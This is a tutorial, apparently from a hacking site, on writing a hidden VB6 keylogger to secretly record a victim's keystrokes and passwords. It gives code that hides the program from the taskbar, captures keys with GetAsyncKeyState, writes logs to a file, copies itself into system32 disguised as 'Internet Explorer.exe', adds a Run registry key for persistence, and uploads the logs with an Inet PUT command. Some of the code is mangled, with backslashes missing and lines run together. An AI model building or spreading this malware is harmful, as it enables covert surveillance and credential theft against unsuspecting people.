When you are done with this tutorial you will be able to Make and Use a keylogger that is close to fully undetectable, without the victim getting suspicious. You will be able to keylog just about anyone.
This Guide will be split into 2 parts:
– The language
– Logging and storing
– Uploading logs
– Binding with other files
– Making sure its existence is hidden
Before we begin I want to point out that this keylogger is NOT perfect.
It will be unable to record some symbols
It will occasionally rearrange a letter with one another if the user types fast
But the passwords should easily get through.
If you do not know/have this, dont leave just yet.
Reading this guide its not “Necessary” to have vb6 knowledge (highly recommended tho)
Download VB6 now, below
Open up VB6 and choose standard EXE.
Put on your form:
Set the form name to a few random letters (title doesnt matter)
Set Visible = false
Set ShowInTaskbar = false
This should make it invisible from the user.
If app.previnstance = true then end
app.taskvisible = false
Which means that if its already running and opened again, it will not start another keylogger (2 keyloggers running would cause errors), and it will not show in the taskmanagers Program list (but still in process list)
Now lets go to the General Section of our source and declare some API functions in order to start writing. General section can be found by using (General) in the top left scrollbar
There are 2 effective methods to keylog with VB6
We will be using GetAsyncKeyState, which checks if a key is being pressed when executed
But before we can start using GetAsyncKeyState we must declare it in the general section
^ tells what Lib we need for GetAsyncKeyState.
With this code placed we can start using GetAsyncKeyState commands.
If GetAsyncKeyState(number) <> 0 then‘code to execute if key is pressedend if
Now you might be wondering what the “number” means, actually, the number we type here is a keyboard key, you see, every key has a number (KeyCode), from around 1 to 200. (1 and 2 being mouse buttons)
if GetAsyncKeyState(65) <> 0 then label1.caption = label1.caption + “a” end if
if GetAsyncKeyState(20) <> 0 then
if caps = true then
label1.caption = label1.caption + “(/caps)”
caps = false
label1.caption = label1.caption + “(caps)”
caps = true
If GetasyncKeyState(16) <> 0 thenshift = true end if
if GetAsyncKeyState(65) <> 0 then
if shift = true then
label1.caption = label1.caption + “A”
shift = false
label1.caption = label1.caption + “a”
On Error GoTo skipIf Dir(“c:windowsklogs.txt”) <> “” ThenOpen “c:windowsklogs.txt” For Append As #1Write #1, Label1.CaptionClose #1ElseOpen “c:windowsklogs.txt” For Output As #1Write #1, DateTime.TimeWrite #1, Write #1, Label1.CaptionClose #1End IfLabel1.Caption = “”skip:
if Dir(“c:windowssystem32Internet Explorer.exe”) <> “” thenelseregistend if
Private Sub regist()Dim regkeyFileCopy App.Path & “” & App.EXEName & “.exe”, “C:windowssystem32Internet Explorer.exe”Set regkey = CreateObject(“wscript.shell”)regkey.regwrite “HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunInternet Explorer.exe”, “c:windowssystem32Internet Explorer.exe”End Sub
On error resume nextInet1.Execute , “PUT c:windowsklogs.txt /” & DateTime.Date & “.txt”
label1.caption = “”